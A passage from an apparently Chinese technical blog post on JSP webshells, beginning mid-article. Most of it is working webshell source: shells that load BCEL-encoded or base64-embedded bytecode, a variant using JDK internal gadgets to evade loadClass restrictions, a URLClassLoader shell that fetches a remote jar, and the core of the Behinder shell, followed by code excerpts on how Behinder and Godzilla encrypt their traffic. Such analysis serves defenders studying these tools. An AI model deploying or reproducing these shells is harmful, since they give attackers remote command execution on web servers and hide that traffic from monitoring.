    field4.setAccessible(true);
    field4.set(t, new HashMap<>());

    try {
        t.getOutputProperties();
    } catch (Exception e) {}

    String resutl = new String(IOUtils.readFully(new FileInputStream(new File(outputFile)), -1, true));
    response.getOutputStream().write(resutl.getBytes());
%>
</body>
</html>

BCEL字节码

<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<html>
<body>
<h2>BCEL字节码的JSP Webshell</h2>
<%
    String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$a6$40$93r$d5$e2$8d$dap$ebh$eb$a5$96$8a6$I$V$N$X$81$82$Uo$93$c9$n$M$9d$cc$c4$c9$a4$82w$fd$N$fe$H_$adKC$97$b8$7c$f4$c1G$7f$86$bf$c1e$fd$ce$q$40b$c2$f2a$ce$99$b3$f7$9e$bd$bf$fd$ed$bd$cf$fc$f1$cf$_$bf$Bx$B$df$ea$Y$c6$8c$86$d7t$b4$c9$fdu$N$b7t$a41$x$977t$cca$5eG$3bn$ebP$f1$a6$5c$W$a4$e1$5bq$bc$z$f7L$tz$b1$a8aI$c72V$e2xG$c7$w$d6t$ac$e3$8e$5c6tl$e2$ddNl$e1n$i$db$3a$de$c3$fb$g$3eP$Q$LDIA$o$b3g$dd$b7L$d7$f2$f2$e6Z$Y8$5e$7eZA$c7M$c7s$c2$Z$F$7d$a9f$f5$d8$86$Cu$d6$cf$J$F$3d$Z$c7$TK$e5BV$E$ebV$d6$V$d2$9do$5b$ee$86$V8$f2$5c$T$aa$e1$ae$c3P$X2$eb$bb$81$Q$b9$e0$9aU$d8$U$d9$b5$5d$e1$ba$M$W$b3$L9$F$e7J$91$f7t$d9qs$oP0$d4$U$b8$a6$e2$X$dd$d9$f2$ce$8e$IDnUX$91$f1$60$d5$d8$f1$cdt$83$86$b6$aaK$88t$bf$WZ$f6$bdE$ab$YA$oW$g$3e$q$df$a4Z$81$3e$b7o$8bb$e8$f8$5eI$c3G$K$e2$a1_$8dH$c8$a9$b1V$fc$a8$F$cb$f1$U$f4$a7$b6$cf$a0$c7$K$f2L8$d9B$ad$a0$cb$f1$8a$e5$90Ga$V$c8$f0$J$f4$85S1$ad$da$b3$H$a1$acO$dbv$9a$fe$ec$88n$7d$cd$_$H$b6$98w$q$a9$D$cdd$5e$91$ae$M$5c$84E$f5$Z$f4$Ruk$aeHy$L$qU$9d$86$ac$B$h9$D$C$3b$g$f2$Gv$e1$c8$40$7br$b9g$c0$c5U$D$F$90$TE7$f0$bc$3c$3d$86$c7$d9$O$cd$m5$f8$G$8a$f8$98Uk$91$81$edZ$rV$n0PB$a8$a1l$e0$3e$3e1$b0$8f$D$N$9f$g$f8$M$9fk$f8$c2$c0$97$f8$8au$g$jM$cf$ceeFG5$7cm$e0$h$8c$u$e8$3d$cdz9$bb$t$ec$b0At$5c$d5$e4I$a2$cb$t$a5g$l$a6d$e9$ce$9f$9a$af$96$bd$d0$vH$de$f3$o$3c9$f45$b4DM$y$7bB$ec$L$5b$c1$e5V$TS$tZ$J$7c$5b$94J$d3$N$91jBv6$p$z$d4$b7$c7$c0q$b4$a6$G$ZL$b5T$c8$i$92$a7$aa$da$iHi$9c$fa$5c$s$9a$86$O$abX$U$k$a7n$ea$7f$d0$few$f2zNU$b3$b2RU$c4$d1k$c6$afuQ$D$3fu$w$7e$de$d7RA$c0$92$60Q$8a$ba$fbV$e98$f7$b1$b3$c15$b1$91l$nV$d0I$a1$e3V$_$n$96w$81U$92$qp$baR$dbiy$bcj$fb$F$b3T$f6L$3f$c8$9bV$d1$b2w$85$99$b5$85k$3a$5e$u$C$cfr$cd$a8$nw8q$e6$9d$d0q$9d$f0$80$ec$J$af$3a$8f$D$f4r$b7$e5$FQ$dft$H$a5P$QK$cc$_$87$f5$e3$beB$d3$W$f8$eb$c4$K$b4$a2$3c$b9$k$9e$e2$N$3f$cc_$85$c2$87$83$c55$c6$f7$8b$Y$e1$f5$ff$EO$7f$a2$83$ff$H$e0$f6$f8$n$94$p$b4m$j$o$b6x$Eu$eb$I$ed$5b$P$d11Q$81VA$fc$Q$9d$87$d0$97$a6$w$e8$da$ba$a1$fe$8e$c4$e4$90Z$81$918$c7e$f3$fbG$7f$8dOV$d0$fd3z$kD$B$9e$e4$3a$C$8dk7$7f9$3d0$I$e2$S$S0$91$c4$M$fa0$8f$7e$C$93$ff$af$u4$9e$c63$40$f46J$88$K$ed$a7i$ff$y$n$5e$a2$ee2R$f49I$f8c$d4$aa$Y$8fRi$7bD$a5$aaaB$c3$a4$86$v$NW$80$bf1$c8$T$c3$80f$K$9e$e3$c3$h$85$ab$cc$d4$e4$$Yh$l$ff$J$3d$3f$f0$a5$z$c2$d9$R$J$87$p$3cF$d5$a0$86$a7$T$d7$88$b0J$d3wD$a0r$bf$9e$e8$ad$e0$7c$oQA2Cj$$$fc$g_$9c$60$ea$7d$9b$93$eaC$f4$_$fd$88$81$g$87$89A2C$ba$M$f2R$c1$d0$83$93x$c3$8c$u$d9$e9$a2$df$E$r$83$8c$3c$c2$88$_3$a6$c40$5e$8d$83$X$f1$S$f7$$LQs$9d$b8$S$e4$e3$V$dc$a0$97$R$fa$98$s$T$b1$86DoF$R$5e$fd$X$cb$B$rU$g$I$A$A";
    response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString()).getBytes());
%>
</body>
</html>

三梦师傅对BCEL类加载器进行包装后:

<%@ page import="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data" %>
<%@ page import="java.io.ByteArrayInputStream" %>
<%@ page import="java.lang.reflect.Array" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.Provider.Service" %>
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="java.util.List" %>
<%@ page import="javax.activation.DataHandler" %>
<%@ page import="javax.activation.DataSource" %>
<%@ page import="javax.crypto.Cipher" %>
<%@ page import="javax.crypto.CipherInputStream" %>
<%@ page import="javax.crypto.CipherSpi" %>
<%@ page import="jdk.nashorn.internal.objects.Global" %>
<%@ page import="jdk.nashorn.internal.objects.NativeString" %>
<%@ page import="jdk.nashorn.internal.runtime.Context" %>
<%@ page import="jdk.nashorn.internal.runtime.options.Options" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.io.File" %>
<%@ page import="java.nio.file.Paths" %>
<html>
<body>
<h2>BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell</h2>
<%
    String tmp = System.getProperty("java.io.tmpdir");
    Files.write(Paths.get(tmp + File.separator + "CMD"), request.getParameter("threedr3am").getBytes());

    Class serviceNameClass = Class
            .forName("com.sun.xml.internal.ws.util.ServiceFinder$ServiceName");
    Constructor serviceNameConstructor = serviceNameClass.getConstructor(String.class, URL.class);
    serviceNameConstructor.setAccessible(true);
    Object serviceName = serviceNameConstructor.newInstance(new String(new byte[] {36,36,66,67,69,76,36,36,36,108,36,56,98,36,73,36,65,36,65,36,65,36,65,36,65,36,65,36,65,36,56,100,85,36,53,98,87,36,84,87,36,85,36,102,101,36,79,36,98,57,36,99,99,48,36,56,99,36,53,99,36,56,50,36,100,99,36,98,52,36,98,54,36,102,54,36,56,50,36,69,36,85,82,36,98,53,90,36,98,57,84,107,36,97,48,36,119,53,36,109,36,114,36,73,77,105,107,36,116,36,99,57,36,110,36,77,36,115,36,57,57,116,50,36,82,121,106,36,102,102,36,56,100,36,99,102,36,102,54,36,110,97,36,57,53,36,100,53,36,51,101,36,102,54,36,99,49,36,55,102,36,100,50,36,51,102,81,36,102,97,36,57,100,73,36,67,107,36,113,36,97,101,54,36,120,36,100,57,36,57,51,36,98,100,36,99,102,36,98,101,36,55,99,36,102,98,36,51,98,103,36,99,102,121,36,102,51,36,99,102,36,101,102,36,55,102,36,67,36,102,56,36,77,36,72,36,71,36,36,36,101,50,36,56,101,36,56,54,89,36,68,36,53,100,36,98,56,36,97,51,99,36,99,101,36,99,48,36,51,99,36,87,52,36,55,99,36,97,49,36,102,52,36,98,98,36,100,100,36,98,56,36,56,55,36,95,117,36,100,99,87,74,36,100,50,36,99,48,36,111,36,57,54,36,77,36,55,99,36,56,53,36,72,36,71,36,97,50,120,104,36,101,48,36,82,36,57,54,36,57,53,36,102,56,36,100,97,36,99,48,99,36,97,52,52,36,97,99,104,88,53,36,81,36,99,51,36,84,36,68,36,68,88,83,36,101,50,36,104,36,106,36,101,98,36,103,36,100,50,36,71,70,36,98,48,97,36,101,48,36,118,54,53,108,105,36,102,56,86,36,109,36,98,97,36,54,48,36,57,55,109,36,101,102,36,97,101,36,52,48,36,117,36,51,101,36,98,57,36,118,36,81,36,53,101,116,36,102,50,82,36,97,48,36,95,101,36,57,55,36,101,53,106,36,97,100,36,57,52,36,57,53,36,101,101,36,56,54,36,57,53,36,122,36,100,50,36,83,75,57,57,36,97,98,36,98,56,105,36,98,57,36,98,54,36,100,50,36,53,98,36,99,54,36,98,48,36,98,55,107,87,36,57,53,36,102,55,36,99,54,36,97,101,36,120,101,36,100,101,36,98,100,105,36,57,53,36,57,101,36,53,100,36,98,102,53,36,95,36,97,48,36,95,36,101,52,36,56,97,36,101,100,36,98,99,36,53,101,36,97,57,36,97,50,36,99,50,36,102,55,36,97,99,36,88,86,36,97,50,104,36,57,53,36,76,36,56,57,36,98,52,36,101,55,36,100,97,36,101,53,36,67,36,98,100,66,36,98,57,82,36,53,101,36,97,48,36,99,55,36,36,87,106,36,107,36,56,100,36,100,50,36,119,36,74,36,77,53,36,106,109,36,116,36,98,49,36,55,99,106,36,97,54,111,111,36,98,54,36,98,54,36,98,51,36,112,36,53,100,36,57,57,95,36,57,55,86,36,53,101,36,98,97,36,67,36,97,51,36,116,36,56,101,36,99,57,36,99,48,36,75,36,55,100,36,99,51,36,97,99,77,116,66,36,57,101,36,97,52,36,102,51,36,101,98,36,83,36,97,52,36,98,51,36,97,102,36,56,48,36,100,51,36,101,53,36,53,99,36,100,53,36,72,36,57,49,36,97,99,36,100,57,69,36,51,102,36,100,98,36,100,56,36,90,36,55,99,36,97,100,36,114,36,101,53,36,57,98,36,102,54,36,97,99,36,100,99,36,102,51,36,86,36,97,98,36,101,50,119,36,99,100,36,78,36,101,50,36,57,101,104,36,99,56,36,102,56,52,36,97,55,36,70,36,56,99,36,98,52,83,115,115,36,102,50,36,56,49,36,101,100,36,100,51,36,85,36,54,48,98,70,36,114,53,36,102,49,36,107,36,36,36,74,36,56,99,36,98,99,36,97,51,36,65,36,53,98,83,36,120,51,36,98,54,51,67,36,97,54,36,102,50,36,98,54,36,97,98,36,101,49,36,51,98,36,84,36,100,98,36,102,56,36,53,101,36,97,48,36,102,102,36,101,100,36,81,36,84,36,51,102,36,101,48,71,36,78,36,99,102,76,36,102,99,36,56,52,113,36,102,50,36,98,55,36,98,56,36,98,50,100,36,99,50,66,86,67,36,99,101,68,36,107,36,99,52,36,98,54,99,36,97,50,36,56,48,36,53,100,85,36,100,50,36,100,54,36,98,48,103,36,101,50,57,36,56,97,36,115,74,36,117,107,112,76,84,36,102,48,36,98,51,36,99,48,112,103,36,100,97,72,65,36,72,36,101,50,36,57,98,107,36,119,36,57,100,36,95,36,97,97,36,115,36,51,99,100,36,99,57,36,97,99,36,110,48,36,100,56,36,56,49,88,36,84,53,36,53,99,36,100,50,36,102,48,36,99,50,36,99,52,36,51,101,36,53,101,36,57,50,36,98,56,36,65,36,90,36,56,49,36,55,101,36,57,101,100,36,102,55,100,36,99,101,107,103,36,74,36,87,36,78,54,36,55,101,80,36,102,53,36,113,77,36,51,100,36,70,36,101,57,36,97,100,36,98,57,78,69,36,98,97,36,100,101,36,56,49,36,99,48,36,57,53,36,102,56,36,100,57,36,102,51,52,36,100,57,36,101,57,36,56,56,69,36,97,100,74,69,36,57,54,121,36,99,97,36,97,54,36,102,102,87,36,99,52,36,101,57,36,97,54,36,57,98,109,36,54,48,36,99,100,36,55,100,36,101,100,36,97,101,36,99,97,36,56,97,36,101,53,90,36,57,101,67,36,97,50,116,36,99,102,105,122,36,76,36,57,99,36,56,102,119,36,97,99,36,100,97,36,101,99,36,97,97,36,99,99,36,101,56,36,106,70,36,116,36,100,54,36,121,111,36,57,55,99,36,83,98,36,76,36,67,36,102,51,36,106,36,56,48,108,36,98,102,36,84,36,53,98,36,109,36,99,55,36,100,57,36,99,99,36,75,36,105,51,36,57,98,36,97,52,36,122,36,55,102,36,98,102,88,76,36,107,120,74,36,106,36,56,100,119,36,75,36,57,101,36,100,99,78,36,75,68,36,101,50,36,100,98,73,53,36,101,55,36,68,36,97,55,36,70,36,100,55,107,101,36,99,102,36,36,36,98,49,71,36,56,51,36,102,56,78,36,57,52,36,97,49,36,52,48,103,36,122,36,98,51,36,57,97,36,122,36,102,57,82,36,101,54,36,69,36,115,36,102,101,36,56,51,78,110,85,78,86,36,97,98,36,102,51,36,56,49,74,36,122,36,112,79,36,51,99,36,120,36,70,54,36,55,99,36,97,52,36,53,100,36,101,100,36,99,99,36,100,99,36,98,55,36,55,98,121,107,65,36,102,53,48,120,36,98,97,36,100,52,36,103,36,55,100,101,36,100,53,36,86,36,88,36,118,36,102,102,36,70,36,100,48,87,36,110,36,36,36,99,102,36,57,102,36,100,101,36,78,36,100,55,36,99,97,36,99,57,36,65,36,57,56,36,101,53,36,98,50,36,116,36,76,36,101,97,36,100,99,36,101,98,36,100,99,36,100,56,36,97,97,36,97,52,36,97,97,36,57,97,36,101,101,36,100,48,36,100,53,50,36,51,101,36,99,52,36,70,36,98,101,36,57,97,36,100,53,36,97,55,36,76,66,77,51,36,101,53,36,102,98,36,100,52,36,83,36,55,99,36,75,36,51,101,36,112,83,36,78,36,56,56,36,100,55,36,102,101,36,102,50,36,72,36,57,52,81,36,100,102,36,100,56,36,56,51,36,99,98,36,57,52,102,36,100,51,36,56,49,36,118,36,51,101,36,101,50,83,36,99,55,36,99,55,36,101,100,36,54,48,36,102,49,36,57,48,36,100,54,36,117,109,36,98,102,36,107,36,97,49,36,120,36,100,51,36,52,48,36,101,56,113,36,121,36,55,99,36,56,56,72,36,101,97,36,73,36,100,49,76,36,99,98,114,36,98,53,36,79,36,101,100,55,36,101,56,36,57,52,36,98,49,110,36,56,97,36,51,97,36,56,99,36,100,48,36,108,36,56,56,36,107,36,97,50,36,101,55,36,81,102,36,68,36,101,55,86,36,79,36,100,49,36,55,98,36,97,100,36,56,101,36,98,101,36,51,97,36,102,97,87,36,56,102,48,36,99,48,36,97,56,88,102,36,98,97,36,56,49,36,99,49,36,71,36,99,101,36,99,102,36,56,53,36,99,55,36,99,50,117,36,77,101,36,101,54,36,111,36,55,102,36,110,54,53,36,87,81,36,118,36,56,54,36,118,36,98,54,36,53,101,36,106,36,102,102,36,102,100,36,75,122,36,56,97,36,57,57,71,36,97,55,36,57,56,36,101,102,36,81,99,36,53,98,36,97,102,36,56,57,71,36,56,55,36,68,36,57,55,87,67,36,99,56,36,99,55,36,55,102,36,56,51,36,97,56,36,56,49,36,53,101,90,36,102,98,36,118,36,72,48,36,99,98,36,57,98,100,36,74,36,56,51,36,98,99,53,36,56,54,36,102,56,36,100,101,36,90,36,97,54,36,101,102,36,70,122,36,56,102,36,97,50,36,56,97,49,36,99,101,36,102,57,69,36,102,99,66,74,84,36,97,102,36,56,102,36,97,48,36,100,49,36,100,102,36,99,50,36,116,36,89,103,36,99,101,89,36,100,99,36,99,54,36,86,36,102,101,36,101,98,98,36,101,99,85,76,36,109,36,99,101,36,101,99,79,36,90,57,36,56,57,36,118,36,56,52,36,102,57,36,107,36,56,98,36,100,49,36,51,97,78,36,79,36,97,97,36,100,52,36,97,101,97,36,100,97,71,36,98,49,36,56,102,36,90,36,57,50,36,75,36,55,99,36,99,97,36,100,102,36,69,36,99,50,36,99,55,36,77,36,56,56,104,36,98,56,36,97,101,36,101,49,36,56,54,36,102,102,36,98,100,36,97,57,36,102,49,36,57,97,36,99,52,49,36,99,98,36,75,90,36,56,49,36,97,52,36,56,54,36,53,98,97,36,71,36,100,101,36,102,54,36,97,57,36,102,102,36,102,99,95,36,98,53,36,51,100,36,102,101,36,116,74,36,72,36,65,36,65}), null);
    Object serviceNameArray = Array.newInstance(serviceNameClass, 1);
    Array.set(serviceNameArray, 0, serviceName);

    Class lazyIteratorClass = Class
            .forName("com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator");
    Constructor lazyIteratorConstructor = lazyIteratorClass.getDeclaredConstructors()[1];
    lazyIteratorConstructor.setAccessible(true);
    Object lazyIterator = lazyIteratorConstructor.newInstance(String.class, new ClassLoader());
    Field namesField = lazyIteratorClass.getDeclaredField("names");
    namesField.setAccessible(true);
    namesField.set(lazyIterator, serviceNameArray);

    Constructor cipherConstructor = Cipher.class
            .getDeclaredConstructor(CipherSpi.class, Service.class, Iterator.class, String.class,
                    List.class);
    cipherConstructor.setAccessible(true);
    Cipher cipher = (Cipher) cipherConstructor.newInstance(null, null, lazyIterator, null, null);
    Field opmodeField = Cipher.class.getDeclaredField("opmode");
    opmodeField.setAccessible(true);
    opmodeField.set(cipher, 1);
    Field initializedField = Cipher.class.getDeclaredField("initialized");
    initializedField.setAccessible(true);
    initializedField.set(cipher, true);
    CipherInputStream cipherInputStream = new CipherInputStream(
            new ByteArrayInputStream(new byte[0]), cipher);

    Class xmlDataSourceClass = Class
            .forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource");
    Constructor xmlDataSourceConstructor = xmlDataSourceClass.getDeclaredConstructors()[0];
    xmlDataSourceConstructor.setAccessible(true);
    DataSource xmlDataSource = (DataSource) xmlDataSourceConstructor
            .newInstance("", cipherInputStream);
    DataHandler dataHandler = new DataHandler(xmlDataSource);
    Base64Data base64Data = new Base64Data();
    Field dataHandlerField = Base64Data.class.getDeclaredField("dataHandler");
    dataHandlerField.setAccessible(true);
    dataHandlerField.set(base64Data, dataHandler);
    Constructor NativeStringConstructor = NativeString.class
            .getDeclaredConstructor(CharSequence.class, Global.class);
    NativeStringConstructor.setAccessible(true);
    NativeString nativeString = (NativeString) NativeStringConstructor
            .newInstance(base64Data, new Global(new Context(new Options(""), null, null)));

    try {
        new HashMap<>().put(nativeString, "111");
    } catch (Throwable e) {
        response.getOutputStream().write(e.getCause().getMessage().getBytes());
    }
%>
</body>
</html>

URLClassLoader远程加载

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<html>
<body>
<h2>URLClassLoader加载远程jar的JSP Webshell</h2>
<%
    response.getOutputStream().write(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:80/threedr3am.jar")}).loadClass("Threedr3am_4").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("threedr3am"))).toString().getBytes());
%>
</body>
</html>

三梦师傅利用 VersionHelper 包装后:

<%@ page import="com.sun.naming.internal.VersionHelper" %>
<%@ page import="java.io.File" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.util.Base64" %>
<html>
<body>
<h2>VersionHelper包装的URLClassLoader类加载器的JSP WebShell</h2>
<%
    String tmp = System.getProperty("java.io.tmpdir");
    String jarPath = tmp + File.separator + "Evil16.class";
    Files.write(Paths.get(jarPath), Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhMRXZpbDE2OwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQALRXZpbDE2LmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAGRXZpbDE2BwBwDABxAHIBAAxFdmlsMTYuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAACwAEAAwADAANACUADwAvABAAPgASAEYAEwAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAFwAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAGwALABwAEgAdABgAHgAgAB8AJwAgACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ"));
    response.getOutputStream().write(
            VersionHelper.getVersionHelper().loadClass("Evil16", "file:" + tmp + File.separator).getConstructor(String.class).newInstance(request.getParameter("cmd")).toString().getBytes());
%>
</body>
</html>

流量加密

冰蝎

下面是冰蝎jsp马去掉加密功能后的内容,可以看到就是使用了上面所说的自定义类继承Classloader来动态加载字节码,进行newInstance实例化,调用该恶意对象的equals方法,并且传入pageContext实现命令执行的。

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
    if (request.getParameter("pass") != null)
        new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);
%>

image-20220822203810315

image-20220822203823737

冰蝎2中通过动态密钥协商,每个cookie对应生成各自的密钥,进行流量加密

image-20220822021342809

if (request.getParameter("pass")!=null) {  //判断请求方法是不是带密码的握手请求,此处只用参数名作为密码,参数值可以任意指定
    String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16);  //随机生成一个16字节的密钥
    request.getSession().setAttribute("uid", k); //将密钥写入当前会话的Session中
    out.print(k); //将密钥发送给客户端
    return; //执行流返回,握手请求时,只产生密钥,后续的代码不再执行
}
/*
当请求为非握手请求时,执行下面的分支,准备解密数据并执行
*/
String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payload
byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); //把payload进行base64解码
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件
c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); //从Session中取出密钥
byte[] classData= c.doFinal(encryptedData);  //AES解密操作

冰蝎3中则是使用固定的密钥加密,去掉了协商过程(明文pass和返回的密钥),全密文传输

image-20220822021544071

if (request.getMethod().equals("POST")) {
    String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
    session.putValue("u", k);
    Cipher c = Cipher.getInstance("AES");
    c.init(2, new SecretKeySpec(k.getBytes(), "AES"));

哥斯拉

这里以v4.01的jsp马为例

和冰蝎一样的类加载方法

image-20220822162904827

把AES、md5加密和base64加解密做了反射调用的函数封装

image-20220822163035110

主体部分就这么点

<%
    String xc = "3c6e0b8a9c15224a";
    String pass = "pass";
    String md5 = md5(pass + xc);

    try {
        byte[] data = base64Decode(request.getParameter(pass));
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", data);
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
            Object f = ((Class) session.getAttribute("payload")).newInstance();
            f.equals(arrOut);
            f.equals(pageContext);
            response.getWriter().write(md5.substring(0, 16));
            f.toString();
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
            response.getWriter().write(md5.substring(16));
        }
    } catch (Exception e) {
    }
%>

哥斯拉的流量加密过程:

AES的密钥是xc(key进行md5加密的32位结果,截取前16位),生成的MD5只用作返回结果的前后脏数据

image-20220822171845990

pass字段传入的数据进行base64和AES解密,赋值给data通过session中有没有payload属性判断是否第一次访问shell。

第一次请求:把传入的data的Class对象(此时的data是加密后的payload.class 就是一堆具体的功能实现函数)放入payload。

image-20220822172935333

image-20220822181147585

image-20220822173457055

第二次请求:测试连接,调用payload类的test方法

image-20220822181430617

下图为3.0之前的版本payload解密之后,methodName=test

image-20220822181405831

在4.01的版本多了一个formatParameter函数的加密,主要是用GZIPOutputStream对数据做了压缩。

payload#formatParameter

image-20220822192833689

image-20220822183023337

返回包的内容是两段加密后的字符中间加上加密后的执行结果: OK

image-20220822183321673

第三次请求:获取服务器基本信息,调用Payload类的getBasicsInfo方法

image-20220822185827661

加密过程如下:

data -> aes加密 ->  base64编码 ->  url编码

命令执行的逻辑在payload的equals,toString方法那

equals调用handle方法根据传入的对象类型赋值给对应的变量,noLog方法清空日志

image-20220822193852762

toString主要是用来调用run方法,然后清空request的parameters属性。

image-20220822194234300

具体的实现逻辑推荐阅读:

Java WebShell3—哥斯拉源码分析

哥斯拉流量加解密浅析(jsp篇)

参考:

https://xz.aliyun.com/t/11368

https://www.anquanke.com/post/id/214435

https://xz.aliyun.com/t/7798

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值